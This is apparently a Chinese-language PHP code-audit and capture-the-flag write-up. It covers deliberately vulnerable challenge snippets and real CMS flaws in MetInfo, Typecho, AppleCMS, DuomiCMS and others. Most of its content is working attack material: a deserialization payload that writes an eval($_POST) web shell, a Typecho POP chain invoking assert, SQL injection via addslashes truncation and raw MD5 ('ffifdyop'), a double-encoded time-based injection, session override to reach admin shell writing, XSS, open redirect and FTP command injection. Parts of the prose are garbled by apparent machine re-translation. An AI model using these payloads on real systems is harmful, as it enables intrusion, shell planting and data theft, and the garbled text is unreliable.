app/system/include/class/load.class.php:113
payloadhttp://localhost/metInfo/include/thumb.php?dir=.....///http/.....///终极用户授权容许协议.txt
程序未恰当exit导致的问题Anticipationcode
extract($_POST);function goAway() { error_log("Hacking attempt."); header(39;Location: /error/');}if (!isset($pi) || !is_numeric($pi)) { goAway();}if (!assert("(int)$pi == 3")) { echo "This is not pi.";} else { echo "This might be pi.";}
extract
从数组中将变量导入到当前的符号表
pl=phpinfo()
测试
FengCms 1.32install/index.php
如果安装完成会天生INSTALL文件,访问文件如果存在此文件则会弹窗提示退出,但没有及时exit,导致程序逻辑还是往下走,还是会安装
Simple-Log1.6网站重装漏洞install/index.php
访问文件如果存在此文件则会弹窗提示退出,但没有及时exit,只是跳转到首页,导致程序逻辑还是往下走,还是会安装
unserialize反序列化漏洞Pumpkin Piecode
class Template { public $cacheFile = '/tmp/cachefile'; public $template = '<div>Welcome back %s</div>'; public function __construct($data = null) { $data = $this->loadData($data); $this->render($data); } public function loadData($data) { if (substr($data, 0, 2) !== 'O:' && !preg_match('/O:\d:\/', $data)) { return unserialize($data); } return []; } public function createCache($file = null, $tpl = null) { $file = $file ?? $this->cacheFile; $tpl = $tpl ?? $this->template; file_put_contents($file, $tpl); } public function render($data) { echo sprintf( $this->template, htmlspecialchars($data['name']) ); } public function __destruct() { $this->createCache(); }}new Template($_COOKIE['data']);
题解
在loadData函数中利用到了unserialize反序列化方法,对传进来的$data进行了反序列化,末了对Template进行了实例化,将COOKIE中的data进行了反序列化。
if (substr($data, 0, 2) !== 'O:' && !preg_match('/O:\d:\/', $data))
代码对data进行了判断,不可以为工具,0:X,X不可以为数字,绕过方法可以利用array数组绕过第一个,在X前面加+绕过第二个限定,搭达到到达反序列化方法的步骤。在__destruct销毁时会调用createCache方法写入文件,达成目的。
payload<?phpclass Template{ public $cacheFile = './test.php'; public $template = '<?php eval($_POST[xx])>';}$temp= new Template();$test = Array($temp);print(serialize($test));?>
测试
a:1:{i:0;O:+8:"Template":2:{s:9:"cacheFile";s:10:"./test.php";s:8:"template";s:26:"";}}
将cookie中的_typechoconfigbase64解码之后进行反序列化操作
条件
如果finish不存在,或者存在config.inc.php文件$_SESSION['typecho']为空,则退出程序
if (!isset($_GET['finish']) && file_exists(__TYPECHO_ROOT_DIR__ . '/config.inc.php') && empty($_SESSION['typecho'])) { exit;}
finish=1
将反序列化后的结果通报给$config
install.php:232var/Typecho/Db.php:114变量adapterName = 'TypechoDbAdapter' . 变量adapterName,如果adapterName是工具,会触发_toString()方法
var/Typecho/Feed.php:223var/Typecho/Feed.php:290如果$item['author']->screenName为私有属性或者不存在会触发__get方法
public function __get($key) { return $this->get($key); }
var/Typecho/Request.php:295
calluserfun回调函数,$this->param['scrrenName'] 的值设置为想要实行的函数,布局 $this->filter 为对应函数的参数值self::RSS2 == $this->type,type须要布局,item['author']为触发点,须要布局thisitems
布局payload<?phpclass Typecho_Request{ private $_params = array(); private $_fifter = array(); public function __construct(){ $this->_params['screenName'] = 'phpinfo()'; $this->_fifter[0] = 'assert'; }}class Typecho_Feed{ private $_type; private $_item = array(); public function s__construct(){ $this->_type = 'RSS 2.0'; $item['author'] = new Typecho_Request(); $item['category']=Array(new Typecho_Request()); $this->_item[0]=$item; }}$x = new Typecho_Feed();$a = array( 'adapter' => $x, 'prefix' => 'Typecho_');echo base64_encode(serialize($a));?>
$sanitized = [];foreach ($_GET as $key => $value) { $sanitized[$key] = intval($value);}$queryParts = array_map(function ($key, $value) { return $key . '=' . $value;}, array_keys($sanitized), array_values($sanitized));$query = implode('&', $queryParts);echo "<a href='/images/size.php?" . htmlentities($query) . "'>link</a>";
htmlentities
将字符转换为 HTML 转义字符
ENT_COMPAT(默认值):只转换双引号。 ENT_QUOTES:两种引号都转换。 ENT_NOQUOTES:两种引号都不转换。
环境搭建payloada%27onclick%3Dalert%281%29%2f%2f=1
DM企业建站系统 v201710漏洞剖析admindm-yourname/mod_common/login.php:63
$ss_P="select from ".TABLE_USER." where email='$user' and ps='$pscrypt' order by id desc limit 1";
component/dm-config/global.common.php:421
ENT_NOQUOTES两种引号都不转换,造成注入
特定场合下addslashes函数的绕过Turkey Bastercode
class LoginManager { private $em; private $user; private $password; public function __construct($user, $password) { $this->em = DoctrineManager::getEntityManager(); $this->user = $user; $this->password = $password; } public function isValid() { $user = $this->sanitizeInput($this->user); $pass = $this->sanitizeInput($this->password); $queryBuilder = $this->em->createQueryBuilder() ->select("COUNT(p)") ->from("User", "u") ->where("user = '$user' AND password = '$pass'"); $query = $queryBuilder->getQuery(); return boolval($query->getSingleScalarResult()); } public function sanitizeInput($input, $length = 20) { $input = addslashes($input); if (strlen($input) > $length) { $input = substr($input, 0, $length); } return $input; }}$auth = new LoginManager($_POST['user'], $_POST['passwd']);if (!$auth->isValid()) { exit;
题解
实例化一个LoginManager类名,吸收用户通报的user,passwd两个参数,并通过isValid方法判断是否合法,sanitizeInput方法,通过addslashes方法进行过滤,再截取20位返回。
addslashes浸染:在单引号(')、双引号(")、反斜线(\)与 NUL( NULL 字符)字符之前加上反斜线
substr
string substr ( string $string , int $start [, int $length ] )
返回字符串 string 由 start 和 length 参数指定的子字符串。
user1234567890123456789'
sql
select count(p) from user where user = '1234567890123456789\' AND password = 'or 1=1#'
payload
user=1234567890123456789'&passwd=or 1=1#
苹果CMS视频分享程序 8.0环境搭建
$lp['wd']直接拼接SQL语句,造成SQL注入
inc/module/vod.php:96
inc/common/function.php:266对传进来的参数进行过滤
在$res=isset($_REQUEST[$key]) ? $magicq ? $_REQUEST[$key] : @addslashes($_REQUEST[$key]) : '';中可以知道wd参数是通过REQUEST方法获取的然后进行过滤。
inc/common/360_safe3.php:27跟踪chkSql函数
将传进来的参数进行urldecode解码之后,通过StopAttack方法,末了通过htmlEncode方法,末了返回。
inc/common/360_safe3.php:12
跟进StopAttack方法,利用preg_match方法进行过滤
inc/common/360_safe3.php:57 跟踪$getfilter方法
inc/common/function.php:572跟踪一下htmlEncode方法,针对 & 、 ' 、 空格 、 " 、 TAB 、 回车 、 换行 、 大于小于号 等符号进行实体编码转换
inc/common/template.php:560
而 wd 是可以从 REQUEST 中获取到,以是wd 实际上是可控的。
漏洞思路SQL注入点是字符型注入,htmlEncode方法实体编码了单引号,最后进行了url解码操作,可以通过双编码绕过,htmlEncode方法没有过滤反斜杠,而addslashes方法会过滤反斜杠。
布局SQLwd=))||if((select%0b(select(m_name)``from(mac_manager))regexp(0x5e61)),(`sleep`(3)),0)#%25%35%63
从变量覆盖到getshellSnowmancode
class Carrot { const EXTERNAL_DIRECTORY = '/tmp/'; private $id; private $lost = 0; private $bought = 0; public function __construct($input) { $this->id = rand(1, 1000); foreach ($input as $field => $count) { $this->$field = $count++; } } public function __destruct() { file_put_contents( self::EXTERNAL_DIRECTORY . $this->id, var_export(get_object_vars($this), true) ); }}$carrot = new Carrot($_GET);
payload
id=shell.pho&shell=',)%0a//
测试
查看全局变量注册代码
foreach(Array('_GET','_POST','_COOKIE') as $_request){ foreach($$_request as $_k => $_v) ${$_k} = _RunMagicQuotes($_v);}
duomiphp/common.php:36
查看_RunMagicQuotes方法, _RunMagicQuotes 函数将分外符号,利用 addslashes 函数进行转义处理
admin/admin_ping.php:13
全剧追踪fwrite函数,$weburl与token来源于post,可控。
weburl 变量和 token 变量从 POST办法获取,经由了_RunMagicQuotes方法还有webscan.php的过滤,但是可以写shell
admin\admin_ping.php文件得须要admin身份才可以有访问权限写shell
admin/config.php:28duomiphp/check.admin.php:41admin/login.php:62duomiphp/check.admin.php:72跟进checkUser方法
上岸管理用户查看组
可知用户组和userid均为1
覆盖 session 的值
重点把稳这里git项目上的覆盖session有问题,可以利用这个payload
member/share.php?_SESSION[duomi_group_id]=1&_SESSION[duomi_admin_id]=1
payload
Host: www.test.com:8888Cache-Control: max-age=0Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Connection: closeContent-Type: application/x-www-form-urlencodedContent-Length: 34weburl=";phpinfo();//&token=
测试
class Redirect { private $websiteHost = 'www.example.com'; private function setHeaders($url) { $url = urldecode($url); header("Location: $url"); } public function startRedirect($params) { $parts = explode('/', $_SERVER['PHP_SELF']); $baseFile = end($parts); $url = sprintf( "%s?%s", $baseFile, http_build_query($params) ); $this->setHeaders($url); }}if ($_GET['redirect']) { (new Redirect())->startRedirect($_GET['params']);}
环境搭建
代码实现的功能实则为一个URL跳转的功能,PHP_SELF 指当前的页面绝对地址。
payload/index.php/http:%252f%252fwww.syst1m.com?redirect=1
测试
跳转到了我的博客
深入理解$_REQUESTS数组Poemcode
class FTP { public $sock; public function __construct($host, $port, $user, $pass) { $this->sock = fsockopen($host, $port); $this->login($user, $pass); $this->cleanInput(); $this->mode($_REQUEST['mode']); $this->send($_FILES['file']); } private function cleanInput() { $_GET = array_map('intval', $_GET); $_POST = array_map('intval', $_POST); $_COOKIE = array_map('intval', $_COOKIE); } public function login($username, $password) { fwrite($this->sock, "USER " . $username . "\n"); fwrite($this->sock, "PASS " . $password . "\n"); } public function mode($mode) { if ($mode == 1 || $mode == 2 || $mode == 3) { fputs($this->sock, "MODE $mode\n"); } } public function send($data) { fputs($this->sock, $data); }}new FTP('localhost', 21, 'user', 'password');
题解
mode是通过request传进来的,在cleanInput方法中将get、post、cookie传进来的全部通过intval函数过滤
REQUESTpayload?mode=1%0a%0dDELETE%20test.file
Raw MD5 Hash引发的注入Turkey Bastercode
class RealSecureLoginManager { private $em; private $user; private $password; public function __construct($user, $password) { $this->em = DoctrineManager::getEntityManager(); $this->user = $user; $this->password = $password; } public function isValid() { $pass = md5($this->password, true); $user = $this->sanitizeInput($this->user); $queryBuilder = $this->em->createQueryBuilder() ->select("COUNT(p)") ->from("User", "u") ->where("password = '$pass' AND user = '$user'"); $query = $queryBuilder->getQuery(); return boolval($query->getSingleScalarResult()); } public function sanitizeInput($input) { return addslashes($input); } $c = new RealSecureLoginManager( $_POST['user'], $_POST['passwd']);if (!$auth->isValid()) { exit;}
md5(打算字符串的 MD5 散列值)
string md5 ( string $str [, bool $raw_output = false ] )
题解
auth新建了一个RealSecureLoginManager工具,传进去POST的user和passwd。在md5方法中,如果可选的 raw_output 被设置为 TRUE,那么 MD5 报文择要将以16字节长度的原始二进制格式返回。
fuzzpayloaduser= OR 1=1#&passwd=128
SQL
select count(p) from user s where password='v�a�n���l���q��\' and user=' OR 1=1#'
实例剖析题目地址
http://ctf5.shiyanbar.com/web/houtai/ffifdyop.php
剖析查看源代码
md5($password,true)
payload
password=ffifdyop或者129581926211651571912466741651878684928
测试